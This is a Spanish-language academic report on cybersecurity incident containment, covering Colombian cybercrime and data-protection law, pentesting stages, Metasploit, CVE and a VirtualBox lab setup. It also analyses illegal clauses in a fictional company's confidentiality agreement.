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GLOSARIO

Blue team: equipo encargado de la seguridad defensiva de las organizaciones ante un

ciberataque real.

Ciberseguridad: practica que se enfoca en proteger dispositivos, redes, software,
servidores, entre otros, de posibles amenazas digitales.

Kali Linux: hace parte de las distribuciones de Linux y esta basada en Debian. Fue

disefiada especialmente en el contexto de pruebas de ciberseguridad.

Metasploit: marco de trabajo que sirve para detectar vulnerabilidades de seguridad,
desarrollado en los lenguajes de programacion Perl y Ruby. Contiene varios modulos

los cuales aumentan las funcionalidades

Payload: se trata de la carga ejecutada en una vulnerabilidad llamada exploit. Esta

carga es activada al momento de usar una vulnerabilidad.

Purple team: equipo de ciberseguridad cuyo propésito es el aseguramiento de las
actividades de los anteriores equipos anteriormente mencionados Yy la maximizacion de

sus actividades. Es la mezcla de los dos equipos anteriormente descritos.

Red team: equipo de ciberseguridad enfocado a emulaciones de escenarios que
contienen amenazas, con el fin de explotar vulnerabilidades. Es conocido como la

seguridad ofensiva.



RESUMEN

El presente informe técnico tiene como propédsito formular estrategias para contener
ataques informaticos, por medio del analisis de amenazas, vulnerabilidades y riesgos en
infraestructuras de las tecnologias de la informacion. Muestra estrategias ligadas a los
equipos de ciberseguridad red y blue team relacionadas a la ciberseguridad de las

empresas.
Este informe técnico se presenta en 4 etapas en donde se analizan las leyes sobre delitos
informaticos en Colombia y el accionar frente a estos, la ejecucién de pentesting y la

contencion de ataques informaticos.

Palabras clave: Exploit, Metasploit, Nmap, Payload, Pentesting



ABSTRACT

The purpose of this technical report is to formulate strategies to contain computer
attacks, through the analysis of threats, vulnerabilities, and risks in information
technology infrastructures. It shows strategies linked to the red and blue team

cybersecurity teams related to the cybersecurity of companies.
This technical report is presented in 4 stages where the laws on computer crimes in
Colombia and the actions against them, the execution of pentesting and the containment

of computer attacks are analyzed.

Keywords: Exploit, Metasploit, Nmap, Payload, Pentesting
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INTRODUCCION

En la actualidad y desde hace un tiempo, la respuesta a incidentes de ciberseguridad es
crucial para proteger las organizaciones y los usuarios. El proposito de los equipos que
se dedican a esto es la identificacion. investigacion, contencion y solucioén de incidentes

informaticos que puedan afectar las empresas.

A su vez, los equipos de respuesta a incidentes proveen servicios y dan soporte con el
fin de prevenir y responder efectivamente. Por su parte, los equipos red, blue y purple
team estan conformados por profesionales expertos en seguridad que al final forman un
solo equipo con el fin de hacer un mejoramiento de la seguridad de la organizacion ya

sea realizando ataques, defendiendo las infraestructuras o coordinando las dos partes.
Es importante que las organizaciones cuenten con equipos que fortalezcan la

ciberseguridad ya que el panorama no es muy alentador, pues las estadisticas

mencionan un aumento significativo para los préximos afios respecto a afios anteriores.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Plantear estrategias de contencion por medio del anélisis de amenazas y vulnerabilidades
en la organizacién HackerHouse, con el fin de proponer recomendaciones para mitigar

vulnerabilidades de seguridad en una organizacion.

1.2 OBJETIVOS ESPECIFICOS

e Examinar la normatividad vigente relacionada a los distintos delitos informaticos
en Colombia.

e Ejecutar pruebas de intrusién en un sistema de informacion, con el fin de
demostrar vulnerabilidades por medio de técnicas de intrusion

¢ l|dentificar los pasos de un ataque informatico con el propdsito de subsanar un

sistema de informacion.

12



2 DESARROLLO

2.1 CONCEPTOS EQUIPOS DE SEGURIDAD

2.1.1 Legislacion de delitos informéaticos en Colombia

2.1.1.1 Ley 1273 del 2009

Esta ley esta relacionada con la proteccion de los datos y la informacion y esta
vinculada con los delitos informéaticos. En sus articulos, se mencionan varios delitos

informaticos como la violacién de datos personales, dafos informéticos, entre otros.

Figura 1. Ley 1273 del 2009

ACCESO ABUSIVO

Se aprovechan de una vulnerabilidad 2 69 A

en el acceso a los sistemas o hay una
debilidad de seguridad.

OBSTACULIZACION ILEGITIMA DEL SISTEMA O RED
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impiden su ingreso. Acceso a cuentas de 2 69 B
correa sin su consentimiento.
INTERCEPTACION DE DATOS
Obstruyen datos sin autorizacién legal
lEY "273 DEL en su sitio de origen, destino o al interior 269 c
de un sistema informético.

2009 COLOMBIA -~
PROTECCIN DE LA : DAROS INFORMATICOS
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compra o divulga datos personales 2 69 F
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Crean 4

Fuente: creacién propia
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269A Acceso abusivo a un sistema informatico: este articulo trata sobre la intrusion
a un sistema de informacién, en el que una persona que se podria llamar “delincuente
informatico”, accede sin permiso o autorizacidén a un sistema el cual puede o no tener

algun tipo de seguridad. Este articulo representa una amenaza para cualquier persona

o alguna organizacién, ya que pone en riesgo informacion de vital importancia.

269B Obstaculizacion ilegitima de un sistema informatico: aqui se refiere al uso de
diferentes herramientas utilizadas por un delincuente informético para que impida el
funcionamiento o el acceso a un sistema informético. Generalmente los atacantes
realizan este tipo de acciones para denegar los servicios de red, afectando el buen

funcionamiento de un sistema o para robar o dafar informacion.

269C Interceptacion de datos informaticos: en este tipo de delito un delincuente
accede abusivamente a un sistema de informacion sin algun tipo de autorizacion.
Generalmente es dificil de detectar, ya que los atacantes no dejan huellas a menos que

cometan un error que los delate.

269D Dafio informatico: se refiere a cualquier accion que pueda vulnerar la integridad
de la informacion como borrar, alterar o destruir. Por lo general, un delincuente realiza

estas acciones para obtener beneficios econdmicos o por alguin tipo de venganza.
269E Uso de software malicioso: aqui se trata de un sabotaje informatico a través de
un malware (software malicioso) como un gusano, troyano, adware o ransomware entre

otros. Este ultimo es el mas utilizado en la actualidad.

Un malware podria dafiar, alterar, robar la informacion o interrumpir un sistema de

informacion.

269F Violacion de datos personales: cualquier persona que intente divulgar

informacion a la que no tiene permiso 0 que no sea propia a través de medios digitales

14



causando dafos personales o econdmicos esta incurriendo en este delito. Los
delincuentes realizan estas acciones con fines lucrativos ilicitos. Un ejemplo de este

delito es divulgar videos o imagenes intimas.

269G Suplantacion de sitios web: lo realiza un delincuente redirigiendo a una victima
a un falso sitio web con el fin de capturar informacion de relevancia para el atacante

como datos generalmente financieros o personales.

Segun la Superintendencia de Industria y Comercio de Colombial, las personas que
incurran en estos delitos podrian estar en la carcel entre 48 a 120 meses y ser multados
con 200 a 1500 SMLYV.

La ley 1273 es un primer paso y de suma importancia contra la lucha de delitos

informaticos en Colombia y es necesario que las empresas la conozcan a detalle.

También, los empleadores deben crear mecanismos de proteccion ideales que protejan
los activos y los datos no solo de su organizacion sino de sus clientes. Por ej., crear
politicas de seguridad, acuerdos de confidencialidad, incluir un departamento de

seguridad TI que vele por la seguridad de los datos, entre otros.

2.1.1.2 Ley 1581 de 2012

Esta ley fue creada por el congreso de la republica de Colombia en donde se reconoce
y protege el derecho que tienen todas las personas de saber que se hace con su
informacion personal, datos que podrian ser recopilados en bases de datos y que son
considerados como datos sensibles. Esto se conoce como el tratamiento de datos

personales.

1 SUPERINTENDENCIA DE INDUSTRIA Y COMERCIO. [Sitio web]. Ley 1273 de 2009. [Consulta: 9 de
febrero 2024]. Disponible en:
https://www.sic.gov.co/recursos user/documentos/normatividad/Ley 1273 2009.pdf
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Figura 2. Ley 1581 del 2012

® Identificacién

L] . .z
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oo

—
- *

Aquellos que dan la

Fuente: Bancolombia

Segun el Ministerio de ambiente de Colombia?, la informacién personal son todos los
datos relacionados a una persona la cual permite identificarla como por ej. su nimero

de identificacion, estado civil, edad, entre otros.

Esta ley en sus articulos menciona el objeto, aplicacion, definiciones, principios, el
tratamiento de datos personales, categorias de datos y su tratamiento, derechos de los

nifios, entre otros articulos que son de suma importancia.

Las sanciones correspondientes al no cumplimiento de esta ley son multas hasta por
2000 salarios minimos, suspensioén de las actividades hasta por 6 meses, cierre

temporal o definitivo de la operacion.

Por otro lado, la entidad reguladora del tratamiento de datos personales en Colombia es
la SIC.

2 MINISTERIO DE AMBIENTE DE COLOMBIA. [Sitio web]. Ley de Proteccién de Datos Personales o Ley
1581 de 2012. [Consulta: 9 de febrero 2024]. Disponible en: https://www.minambiente.gov.co/politica-de-
proteccion-de-datos-
personales/#:.~:text=Ley%20de%20Protecci%C3%B3n%20de%20Datos,de%20naturaleza%20p%C3%BA
blica%200%20privada
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Se puede observar que los delitos informaticos en Colombia con el transcurso del
tiempo han aumentado, aprovechando las diferentes modalidades en las TIC. Sanchez?®
sefala que las nuevas tecnologias son de facil acceso, como por ej. el acceso a redes
publicas que son susceptibles a que los datos personales sean vulnerados y estan

totalmente expuestos.

2.1.2 Etapas pentesting

Es un proceso conocido como “test de penetracion” y tiene como objetivo detectar fallos
de seguridad en un sistema informatico. Consiste en hacer una simulacion de un
ciberataque para intentar romper sistemas de seguridad con el propdésito de realizar

mejoras o reforzar la seguridad.

Las herramientas utilizadas en el pestesting entre las mas conocidas son Nmap para
escanear puertos, Nessus para evaluar vulnerabilidades, SubFinder para descubrir
subdominios, Metasploit para ejecutar exploits, Wireshark para analizar paquetes de

red, entre muchas mas otras.
Las etapas del pentesting son 5:
1) Planificacion y recoleccion
Es la primera etapa donde se realiza la definicién de lo que se va a realizar en el

test. Por ejemplo, se determinan los métodos a utilizar y se recolectan todos los

datos que son indispensables para realizar el proceso.

3 SANCHEZ, Zulay. [en linea]. Analisis de la ley 1273 de 2009 y la evolucién de la ley con relacién a los
delitos informaticos en Colombia. Universidad Nacional Abierta y a Distancia UNAD, 2017. [Consultado 9
febrero 2024]. Disponible en:
https://repository.unad.edu.co/bitstream/handle/10596/11943/1053323761.pdf?sequence=1&isAllowed=y
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En esta fase se pueden hacer escaneos, obtencion de metadatos, realizar dorking la
cual es una técnica donde se realiza una busqueda avanzada en los motores de

bdsqueda de Google, entre otros.

Para recolectar informacion se incluye la técnica footprinting (reconocimiento) en
donde se busca informacion que sea publica del objetivo la cual se puede encontrar
en internet, redes sociales o paginas especificas donde se realiza esta practica. No
se tiene interaccion directa con el objetivo a investigar y lo ideal es no dejar ningun

rastro.

El tipo de informacién que se recolecta con esta técnica puede ser: nombre del
dominio, direccion ip, informacion relacionada con el dns o numeros de teléfono

entre otros.

Existen dos tipos de footprinting, el pasivo y el activo. El pasivo es donde no se usan
herramientas avanzadas a diferencia del activo en donde si se utilizan y ademas se
usa el protocolo “whois”. En este protocolo se realizan consultas en bases de datos
en donde se obtiene informacion de un dominio web como quien es el duefio, fecha

de creacion y expiracion.

Segun Atalantago* este proceso es la primera fase de una auditoria y es una

excelente manera de preparar un documento con informacion muy util.
2) Andlisis de vulnerabilidades
En esta fase, se analiza como el sistema se comporta ante una intrusion y se

buscan los puntos mas débiles. El objetivo es que el pentester entienda como es el

disefio del sistema y como se pueden explotar las vulnerabilidades identificadas.

4 ATALANTAGO. [Sitio web]. ¢ Qué es el FOOTPRINTING?. [Consulta: 13 de febrero 2024]. Disponible en:
https://atalantago.com/footprinting/
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La intencidn en esta etapa es obtener el mayor numero de fallos posibles con la

intencidon de mejorar la seguridad.

3) Explotacion de vulnerabilidades

En la tercera etapa del pentesting se procede a explotar las vulnerabilidades
encontradas entendiendo la complejidad y los beneficios que se pueden obtener. Es
una simulacion de un ataque al sistema para evaluar las amenazas que tienen los

activos y como el sistema puede responder ante un ataque.

Lo ideal es determinar que se puede hacer para asegurar el sistema por ejemplo
revisar el escalamiento de privilegios, los accesos, revisar los segmentos de red

entre otros.

4) Elaboracion de informes

Finalmente la intencién es informar a la empresa o el propietario de los activos o los
sistemas los resultados del ataque simulado para que la organizacién pueda tomar
decisiones e implementar mejoras y reforzar la seguridad.

Se pueden realizar dos tipos de informes, un informe técnico para los

administradores del sistema y un informe ejecutivo para la gerencia de la empresa.

2.1.3 Metasploit

Es un marco de trabajo que sirve para detectar vulnerabilidades de seguridad,

desarrollado en Perl y Ruby. Este framework es muy completo, ya que contiene varios

modulos los cuales aumentan las funcionalidades como payloads que son codigos que

explotan las vulnerabilidades (exploits) contenidas en esta herramienta. Otros modulos

gue se pueden encontrar son los encoders los cuales son codigos de cifrado para evadir

antivirus u otros sistemas de seguridad.

19



Esta herramienta contiene interfaces en donde un usuario puede interactuar por medio
de una interfaz grafica como Metasploit (web Ul) o una consola como por ejemplo

msfconsole.

Lépez® menciona que Metasploit es un grupo de herramientas que un experto en
seguridad informatica puede emplear para ejecutar exploits en maquinas para comprobar
su seguridad.

2.1.3.1 Funcionamiento

Metasploit contiene herramientas (tools), plugins, librerias e interfaces y modulos los

cuales seran explicados a continuacion:

Figura 3. Arquitectura Metasploit

Metasploit Architecture

LIBRARIES INTERFACES

Rex Console

B
CLI

MSF Core
N Web

PLUGINS » MSF Base” GUI
A

MODULES

Payloads Exploits Encoders Nops

Fuente: Platzi

5 LOPEZ, Axel. [en linea]. Metasploit framework Trabajo practico final. [Consultado 14 febrero 2024].
Disponible en: https://interorganic.com.ar/josx/metasploit. pdf
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1) Tools: se trata de scripts que sirven para la creacion de los modulos en esta

herramienta.

2) Plugins: son los programas externos que usan los recursos del framework y con

estos se puede hacer conexion con herramientas cono OpenVAS o Nmap.

3) Librerias: se usan para configurar los recursos de la herramienta como por ej. MSF
base, también proporcionan APIs basicas.

4) Interfaces: desde aqui se puede usar el marco de trabajo.

5) Modulos: aqui se encuentran los exploits, payloads, nops, codificadores y

auxiliares.
2.1.3.2 CVE Yy estructura
CVE conocida por su sigla como “vulnerabilidades y exposiciones comunes” es una lista
proporcionada por MITRE y respaldado por la comunidad de ciberseguridad que identifica
y enumera vulnerabilidades de seguridad que son afadidas a una BD de referencia y

disponible al publico.

De acuerdo con RedHat® cada CVE o falla de seguridad tiene un nimero de identificacion

y MITRE es la organizacion encargada de supervisar los CVE.

El formato que tiene cada id del CVE es afio y numero de vulnerabilidad.

6 REDHAT. [Sitio web]. ElI concepto de CVE. [Consulta: 14 de febrero 2024]. Disponible en:
https://www.redhat.com/es/topics/security/what-is-cve
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2.1.3.3 Exploit DataBase

En esta web se pueden encontrar bases de datos publicas y gratuitas, las cuales
contienen exploits. Estos exploits pueden ser consultados, se pueden descargar y ser

usados por personas encargadas de realizar pentesting o auditorias.

CVE contiene un mapa de referencias el cual enumera las diferentes referencias para

Exploit-DB y proporciona las entradas asociadas a CVE.

Figura 4. Exploit Data Base

e Verified Has App
=

Y Filters ¥ Reset All

Show| 15 v Search:

- Hfe uthc
2024-02-15 * X DS Wireless Communication - Remote Code Execution Local Hardware MikelsAStar
2024-02-15 * X Metabase 0.46.6 - Pre-Auth Remote Code Execution WebApps Linux Musyoka lan

:?1 2024-02-15 * X SISQUALWFM 7.1.319.103 - Host Header Injection WebApps Multiple 0Omer Shaik

y 2024-02-13 * X Lost and Found Information System v1.0 - (1DOR ) leads to Account Take over WebApps PHP 0rd4nG.M4N

g 2024-02-13 b4 X ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure WebApps Windows Metin Yunus Kandemir

1 2024-02-13 * X VIMESA VHF/FM Transmitter Blue Plus 9.7.1 (doreboot) - Remote Denial Of Service DoS Hardware Liquidworm
2024-02-13 * X Splunk 9.0.4 - Information Disclosure WebApps Multiple Parsa Rezaie Khiabanloo

- 2024-02-09 * X Online Nurse Hiring System 1.0 - Time-Based SQL Injection WebApps PHP yozgatalperenl

!

Fuente: creacién propia

2.1.4 Configuracion escenario

El escenario solicita la instalacion de 2 maquinas virtuales instaladas en VirtualBox, una

con Kali Linux y otra con Windows 10. Para iniciar con el montaje, se instala en la

maquina anfitriona el software VirtualBox descargandolo desde la pagina oficial.
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Figura 5. Descarga de VB

@ VirtualBox

Entrar  Preferencias
Pdgina inicial Indice Historial

—

Download VirtualBox

About
Here you will find links to VirtualBox binaries and its source code.
Screenshots
Downloads VirtualBox binaries
Documentation By downloading, you agree to the terms and conditions of the respective license.
End-user docs VirtualBox 7.0.14 platform packages

« =Windows hosts

Technical docs “»macOs / Intel hosts

Contribute « Linux distributions
X « =Solaris hosts
Community + =Solaris 11 IPS hosts

The binaries are released under the terms of the GPL version 3.
See the changelog for what has changed

You might want to compare the checksums to verify the integrity of downloaded packages. The SHA256
checksums should be favored as the MD5 algorithm must be treated as insecure!

« SHA256 checksums, MD5 checksums

Fuente: creacién propia

Figura 6. Asistente de instalacion de VB

Welcome to the Oracle VM
VirtualBox 7.0.14 Setup
Wizard

The Setup Wizard will install Orade ¥M VirtualBox 7.0, 14 on
your computer. Click Mext to continue or Cancel to exit the
Setup Wizard.

Mersion 7.0.14 Cancel

Fuente: creacién propia
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Figura 7. Instalacion VirtualBox

ﬁ] Oracle VM VirtualBox 7.0.14 Setup

Oracle VM VirtualBox 7.0.14

Please wait while the Setup Wizard installs Orade YM VirtualBox 7.0.14. This may
take several minutes.

Status:

Version 7.0.14 < Back Next =

Fuente: creacion propia

Figura 8. Instalacién finalizada VB

¥ Oracle VM VirtualBox Administrader - X
Archivoe Maquina  Ayuda

I — 2= ¢ AR G

Preferencias  Importar Exportar = Nueva Afiadr

(S

iBienvenido a VirtualBox!

La parte izquierda de esta ventana contiene herramientas globales y una lista de todas las méquinas virtuales v grupos de maquinas virtuales
en su computadora, Puede importar, afiadir y crear nuevas MYs usando los botones correspondientes de a barra de herramientas, Puede

abrir un <popup» del elementa usando el botén de elemento correspondiente. Puede presionar |a teda F1 para
obtener ayuda instanténea o visitar www.virtualbox.orq para més informacin y las ditimas noticias.

ﬂ £ Buscar

Fuente: creacién propia

| 21C Parcsoleado A~ B 43 7 D
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Se procede a instalar la maquina virtual de Kali Linux indicando el sistema operativo,

carpeta de instalacion y la version. También espacio en disco y memoria RAM
asignada.

Figura 9. Creacion maquina virtual Kali

W Crear maquina virtual 7 X

Nombre y sistema operativo de la maquina virtual

Seleccione un nombre descriptive v carpeta destino para la nueva maquina virtual, El nombre que seleccione serd usado por
VirtualBox para identificar esta maquina. Adiconalmente, puede selecconar una imagen IS0 gue puede ser usada para instalar el
sistema operativo invitado.

Mombre: |Ka|i | Q?
Carpeta: | C:\Users'carlo\virtualBox YMs hd |
Imagen ISO: | <no selecdonado> > |
Edicidn:
Tipe: | Linux ~
Versidn: | Debian (54-bit) ~
Omitir instalacién desatendida
@ Mo hay imagen ISO selecdonada, el SO invitado serd necesario instalarlo manualmente.
Ayuda Modo experto Anterior Cancelar

Fuente: creacién propia

Figura 10. Resumen Kali

¥ Crear maquina virtual 7 X

Resumen

La siguiente tabla resume la configuracion que ha elegido para la nueva maguina virtual. Cuando esté conforme con
la configuracion presione Finalizar para crear la maguina virtual. También puede volver atras y modificar la

configuracion.
‘%’ Nombre y tipo de SO de la maquina
Nombre de maguina Kali
Carpeta de la maguina C:fUserscarlo VirtualBox VMs Kali
Imagen ISO
Tipo de 50 invitado Debian (64-bit)
f:} Hardware
Memoria base 2024
Procesador{es) 2
Habilitar EFI falze
&l pisce
Tamafio de disco 10,50 GB
Reservar tamario completo false

Ayuda Anterior Terminar

Fuente: creacién propia
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Figura 11. Resumen Kali 2

W @ P

Nueva Afadir = Configuracién Descartar Iniciar

[=) General [ previsualizacion

Nombre: kali-inux-2023.4-virtualbox-amdé4

Sistema operativo: Debian (64-bit)

Sistema

Memoria base: 1024MB kali-linux-2023.4-
Procesadores: 2 =

Orden de arranque: Disco duro, Optica wrtualbox-amd64
Aceleracion: Paginacién anidada, PAE/NX, Paravirtualizacidn KVM

(M) pantalla

Memoria de video: 128 MB

Controlador gréfico: VMSVGA

Servidor de escritorio remoto: Inhabilitado

Grabacién: Inhabilitado

Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0:  [Unidad dptica] Vacio
Controlador: SATA

Puerto SATA 0: kaliHinux-2023.4-virtualbox-amd64.vdi (Normal, 80.09 GB)
{n Audio
Controlador de anfitrién: Windows DirectSound
Controlador: ICH AC97
@F Red
Adaptador 1: Intel PRO/1000 MT Desktop (Red NAT, «red1»)
(5 uss
Controlador USB: OHCI

Filtros de dispositivos: 0 (0 activo)
D Carpetas compartidas

CE) Descripcion

Fuente: creacién propia
Se evidencia el resumen del sistema operativo creado en la maquina virtual, se asigné 1
Gb de memoria RAM, 2 procesadores, el orden de arranque de la maquina virtual es

desde el disco duro y se asignaron 10 Gb de espacio en disco.

Se inicia la maquina y la instalacion:
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Figura 12. Instalacion Kali

i kali-linux-2023.4-virtualbox-amd&4 [Corriendo] - Oracle VM VirtualBox — O =

Archivo Maquina Ver Entrada Dispositivos Ayuda
Booting "Kali GMU/Linux'

5 3 3

Autocapturar tedado... ™ &

Loading Linux 6.5.6

@B e (=l Gl @ cmr pErRECHA

Fuente: creacion propia

Figura 13. Inicio de sesién Kali

kali = us 7 10Feb,17:02 & ~

Fuente: creacion propia
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Ahora, se descarga la imagen ISO del Windows 10 desde la pagina oficial de Microsoft

Figura 14. Descarga Windows 10

=' Microsoft | Descarga de software  windows Windows Insider Preview « Todo Microsoft 0

Descarga Windows 10

Antes de actualizar, consulta el estado de la informacién de la versién de Windows para consultar los problemas conocidos y comprobar

que no afecten a tu dispositivo.

Actualizacion de Windows 10 2022 | Version 22H2

El Asistente para actualizacion puede ayudarte a actualizar a la versién mas reciente de Windows 10. Para empezar, haz clic en Actualizar ahora.

Fuente: creacién propia

Se asigna el nombre, sistema operativo y version de la maquina. De igual forma el

espacio en disco y la RAM.

Figura 15. Creacion de maquina virtual Windows

N# Crear maquina virtual ? X
Nombre y sistema operativo de la maquina virtual
Seleccione un nombre descriptivo y carpeta destino para la nueva maquina virtual. El nombre que seleccione sera usado por
VirtualBox para identificar esta maquina. Adicionalmente, puede seleccionar una imagen ISO que puede ser usada para instalar el
sistema operativo invitado.
Nombre: IWindows 10| l &
Carpeta: l C:\Users\carlo\VirtualBox VMs v ]
Imagen ISO: | <no seleccionado > M I
Edicion:
Tipo: | Microsoft Windows g %;:Tg
Version: | Windows 10 (64-bit) b
Omitir instaladdn desatendida
@ No hay imagen ISO seleccionada, el SO invitado serd necesario instalarlo manualmente.
Ayuda Modo experto Anterior Siguiente Cancelar

Fuente: creacién propia
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Figura 16. Resumen maquina Windows

v

| — Lide @ >

a Afadr | Configuradén Descartar Inidar
- 2023.4-8 T General [®) previsualizacion
@) Apagada g: Nombre: kali-inux-2023. 4-virtualbox-amdé4 e —————
Sistema operativo: Debian (64-bit)
. [#] sistema
¥ Crear maquina virtual 2 X kali-linux-2023.4-
virtualbox-amd64
Resumen

La siguiente tabla resume la configuracién que ha elegido para la nueva méauina virtual. Cuando esté conforme con
Ia configuracién presione Finalizar para crear la méquina virtual. También puede volver atrés y modificar la
configuracidn.

€3 Nombre y tipo de SO de la maquina
Nombre de maquina Windows 10

Carpeta de la maquina C:JUsers/carlo/VirtualBox VMs/Windows 10
Imagen IS0 |
Tipo de SO invitado Windows 10 (64-bit)
) Hardware [
Memoria base 2048
Procesador(es) 1 |
Habiltar EFT false
Disco ‘
Tamafio de disco 200068
Reservar tamaiio completo false |
Ayuda Anterior Terminar
£ usB
Controlador USB: OHCI

Filtros de dispositivos: 0 (0 activo)

Fuente: creacion propia

Se evidencia el resumen del sistema operativo creado en la maquina virtual, se asigno 1

Gb de memoria RAM y se asignaron 10 Gb de espacio en disco.

Figura 17. Resumen 2 maquina Windows

W @ O D

Nueva Afadir = Configuracion D Iniciar

[ General [®] previsualizacién
Nombre: Windows 10

Sistema operativo: Windows 10 (64-bit)

Sistema

Memoria base: 2024 MB <
Orden de arranque: Disco duro, épﬁca WlndOWS 10
Aceleracion: Paginacion anidada, Paravirtualizacién Hyper-V

(8] pantalla

Memoria de video: 128 MB

Controlador gréfico: VBoxSVGA

Servidor de escritorio remoto:  Inhabilitado

Grabacién: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA 0: Windows 10.vdi (Normal, 10.50 GB)
Puerto SATA 1: [Unidad dptica] Windows ISO.iso (4.40 GB)

{0 Audio
Controlador de anfitrién: Predeterminado
Controlador: Audio Intel HD

®F Red
Adaptador 1: Intel PRO/1000 MT Desktop (Red NAT, «red1»)
(5 uss

Controlador USB: XHCI
Filtros de dispositivos: 0 (0 activo)

[j Carpetas compartidas
@ Descripcion

Ninguno

Fuente: creacién propia
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Se inicia la instalacion del sistema operativo

Figura 18. Instalaciéon SO Windows

W

4 Programa de instalacion de Windows

==;Wind0\k/vs’

© Microsoft Corporation. Todos los derechos reservados.

Idioma que va a instalar: [Espanol (Mexico). -
Formato de hora y moneda: |3 Ea RN az0) -

Escribe tu idioma y otras preferencias y después haz clic en "Siguiente” para continuar.

gonay

1@ & & 3 crre perecHa

Fuente: creacion propia

Figura 19. Progreso de instalacion

G Programa de instalacién de Windows

Instalando Windows

Estado

Copiando archivos de Windows

" Preparando archivos para instalacién (0%)

Fuente: creacion propia
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Figura 20. Instalacion SO

Preparando

Fuente: creacion propia

Figura 21. Interfaz grafica Windows 10

Microsoft
Edge

Fuente: creacién propia
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Para comunicar los dos maquinas, se digita el comando ifconfig para Linux e ipconfig
para Windows para conocer las ip de cada una de las maquinas en la consola de

comandos

Figura 22. Comandos ipconfig ifconfig

8 Kali-Tinux-2023 4-virtualbox-amdod [Corriendo] - Oracle VM VirtualBox = ]

Archivo  Maquina Ver Entrada Dispositivos Ayuda

SRemP o1 2

File Actions Edit View Help

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0. 55.255.255.0 broadcast 10.0.2.255
inet6 fes8@ prefixlen 6 copeid @x20<link

g txqueuelen 1000 (Ethernet)
ytes 1702 (1.6 K
dropped 0
bytes
0 dropped 0 overruns 0 ca 0 collisions @
10.0.2.16
P, LOOPBACK,RUNNING> mtu 65536
255.0.0.0
scopeid 0x10<host>
txqueuelen 1000 (Local Loopback)
bytes 240 (240.0 B)
dropped 0 overruns @ frame 0
bytes 240 (240.0 B)
errors 0 dropped © overruns 0 carrier 0 collisions @

Fuente: creacién propia

Se digita el comando ping en cada uno de los terminales con la ip de la otra maquina para

comprobar que haya comunicacién entre las maquinas

Figura 23. Ping entre maquinas

kali-linux-2023.4-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox . o X

Archivo  Maquina Ver Entrada Dispositivos  Ayuda

R EmmP S| 2 3 4}v”

S kali@kali: ~
File Actions Edit View Help

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
prefixlen 128 scopeid 0x10<host>
ueuelen 1000 (Local Loopback)
s 4 bytes 240 (240.0 B)
0 dropped 0 s frame ©
ets 4 bytes 240 (
TX errors @ dropped © overruns @ carrier @ collisions @

10.0.2.1
2.1 (10.0.2.1) 56(84) bytes of data
om 10. i il s 1 ttl=2
2 ttl=255 tim
64 bytes from 10.0. H i 3 ttl=255 tim
o

— 10.0.2.1 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2028ms
rtt min/avg/max/mdev = 0.266/0.688/1.475/0.556 ms

Fuente: creacién propia
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2.2 ACTUACION ETICA Y LEGAL

2.2.1 Parrafos con ilegalidad HackerHouse

Respecto a los parrafos contenidos en el acuerdo de confidencialidad, se considera

ilegal las siguiente consideracion:

2. En este parrafo se estipula que la informacion ha sido obtenida legalmente como
producto de procesos principalmente de seleccion de personal, lo que significa que son
datos personales como nombres, documentos de identidad, teléfonos, direcciones,
entre otros datos sensibles. Ellos consideran que todos estos datos son propiedad de
HackerHouse lo cual es incorrecto e ilegal, ya que aunque sean datos recolectados en
procesos de seleccidén de personal, las empresas no pueden tomar esos datos como
propiedad y ademas, segun la Ley 1581 del 2012 la cual es la una ley de proteccion de
datos, las organizaciones deben garantizar a los usuarios la no divulgacion de sus
datos personales y a su vez las personas deben conocer que procesos se estan

realizando con su informacién contenida en bases de datos.

Por su parte, se consideran ilegales las siguientes clausulas:

Primera: respecto a la parte receptora, es decir, el estudiante, se le obliga a no divulgar
a nadie incluyendo “autoridades legales” (resaltando esta parte) informacion

confidencial y sobre todo, procesos ilegales que ocurran dentro de la organizacion.

Segunda: punto 2. HackerHouse define informacion confidencial a toda informacion de
indole juridica, financiera, datos secretos como chuzadas o interceptaciones ilegales y
accesos abusivos a sistemas de informacién entre otras y considera obligar a la parte
receptora que aunque tenga conocimiento de procesos ilegales de esta empresa no

podra divulgar esta informacion lo cual esta mal, ya que se esta incurriendo a delitos
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informaticos como acceso abusivo a sistemas mencionado en la ley 1273 del 2009

articulo 269A. Incidir en este delito puede otorgar altas multas y privacion de la libertad.

Cuarta: punto 3. Aqui se menciona que es obligacion del receptor (estudiante) no
denunciar ante las autoridades actividades relacionadas con espionaje u otros procesos
considerados ilegales. Esto también esta muy mal, ya que interfiere la ética profesional

y ademés al no denunciar ilegalidad se considera “complice”.

Cuarta: punto 5. Este punto es grave, ya que aqui se esta obligando al receptor a
hacerse “responsable "de que en caso de allanamiento, la empresa quede limpia y el

anico responsable sea el receptor.

Cuarta: punto 6. Aqui el receptor esta obligado a no transmitir informacion ilegal sin
consentimiento de la organizacion. También es ilegal esto y basicamente se hace

participe al estudiante a ser complice.

Octava: esta clausula hace parte de las obligaciones de la parte “reveladora”, es decir,
la organizacion HackerHouse. Aqui se estipula que en caso tal de que informacién

ilegal sea encontrada en manos de la parte receptora, esta debe acudir a un abogado
privado y dejar exenta la organizacion, 6sea, se lavan las manos. Esto esta muy mal por
parte de una organizacién, ya que ademas de involucrar a una persona en procesos

ilegales, en caso tal de que lo descubran no lo apoyan con un abogado de la empresa.

Novena: finalmente el acuerdo menciona que se rige bajo leyes colombianas lo cual es
falso, ya que se violan leyes como la 1273 y 1581 que estan relacionadas con delitos

informaticos y tratamiento de datos personales.
Algo que destacar respecto al anexo 2 es que el acuerdo de confidencialidad fue

elaborado por un abogado que fue despedido por procesos ilicitos y no fue revisado ni

cambiado por la organizacion. Por cuestiones de ética, la organizacion debié cambiar el
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acuerdo, ya que pretende reclutar nuevos profesionales a los equipos Red y Blue team

para la prestacion de servicios.

2.2.2 Procesos ilegales anexo 3 acuerdo de confidencialidad

Se encontraron varios procesos ilegales en el acuerdo de confidencialidad contenido en
el anexo 3, los cuales seran descritos a continuacion y violan las leyes colombianas
1273 de 2009 y 1581 de 2012:

La organizacion HackerHouse pretende hacerse duefia de todos los datos que ha
recolectado en procesos de seleccion de personal, datos confidenciales y personales
